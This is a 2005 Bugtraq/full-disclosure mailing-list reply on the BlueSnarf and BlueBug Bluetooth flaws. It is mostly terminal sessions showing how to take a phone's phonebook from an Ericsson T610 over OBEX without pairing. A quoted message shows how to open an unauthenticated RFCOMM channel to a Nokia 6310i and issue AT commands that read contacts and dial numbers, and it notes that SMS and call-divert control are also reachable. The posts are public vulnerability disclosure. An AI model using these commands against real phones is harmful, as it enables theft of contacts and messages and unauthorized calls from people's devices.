bugtraq - Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore

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Date: Mon, 10 Jan 2005 00:01:23 +0100
From: "Eric Detoisien" <eric-mailing@...b-internet.fr>
To: <full-disclosure@...ts.netsys.com>
Cc: bugtraq@...urityfocus.com
Subject: Re: Bluetooth: BlueSnarf and BlueBug Full
	Disclusore


An easy way to get phonebook on Ericsson T610 via bluetooth without pairing  :

tough:~# hcitool scan
 Scanning ...
        00:0A:D9:XX:XX:XX       T610

tough:~# sdptool browse 00:0A:D9:XX:XX:XX
 Browsing 00:0A:D9:XX:XX:XX ...
[...]
Service Name: OBEX Object Push
 Service RecHandle: 0x10005
 Service Class ID List:
   "OBEX Object Push" (0x1105)
 Protocol Descriptor List:
   "L2CAP" (0x0100)
   "RFCOMM" (0x0003)
     Channel: 10 -----------------------> only RFCOMM channels 10 and 15 are open
   "OBEX" (0x0008)
 Profile Descriptor List:
   "OBEX Object Push" (0x1105)
     Version: 0x0100
[...]
Service Name: OBEX Basic Imaging
 Service RecHandle: 0x1000b
 Service Class ID List:
   "" (0x111b)
 Protocol Descriptor List:
   "L2CAP" (0x0100)
   "RFCOMM" (0x0003)
     Channel: 15
   "OBEX" (0x0008)
 Profile Descriptor List:
   "" (0x111a)
     Version: 0x0100
[...]

tough:~# obexftp -b 00:0A:D9:XX:XX:XX -B 10 -g telecom/pb.vcf 
 Browsing 00:0A:D9:FA:03:B7 ...
 Channel: 7
 No custom transport
 Connecting...bt: 1
 done
 Receiving telecom/pb.vcf.../done
 Disconnecting...done


Eric Detoisien


> The Bluebug, as described on [1] is trivially exploitable on some non-Symbian
> Nokia phones. It allows attacker to create serial profile connection without
> pairing or asking for permission, therefore it gives unauthorized access to all
> AT commands. It is possible to read/delete/send SMS messages, add/view/delete
> phonebook entries, change call diverts, initiate voice or data call.
> 
> Demonstration on Nokia 6310i:
> 
> laptop:~# hcitool scan
> Scanning ...
>          00:60:57:38:8C:D8       Nokia 6310i
> laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17
> 
> Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for
> example:
> 
> laptop:~# cu -l rfcomm0 -s 9600
> Connected.
> [ATE1]
> OK
> ATI
> Nokia
> 
> OK
> AT+CPBS?
> +CPBS: "SM",0,100
> 
> OK
> AT+CPBR=?
> +CPBR: (1-100),48,18
> 
> OK
> ATDT+48609xxxxxx
> OK
> 
> As you can see, the bug is really trivial and looks rather like backdoor.
> 
> [1] - http://www.thebunker.net/security/bluetooth.htm
> [2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
> [3] - http://www.gnokii.org/
> 
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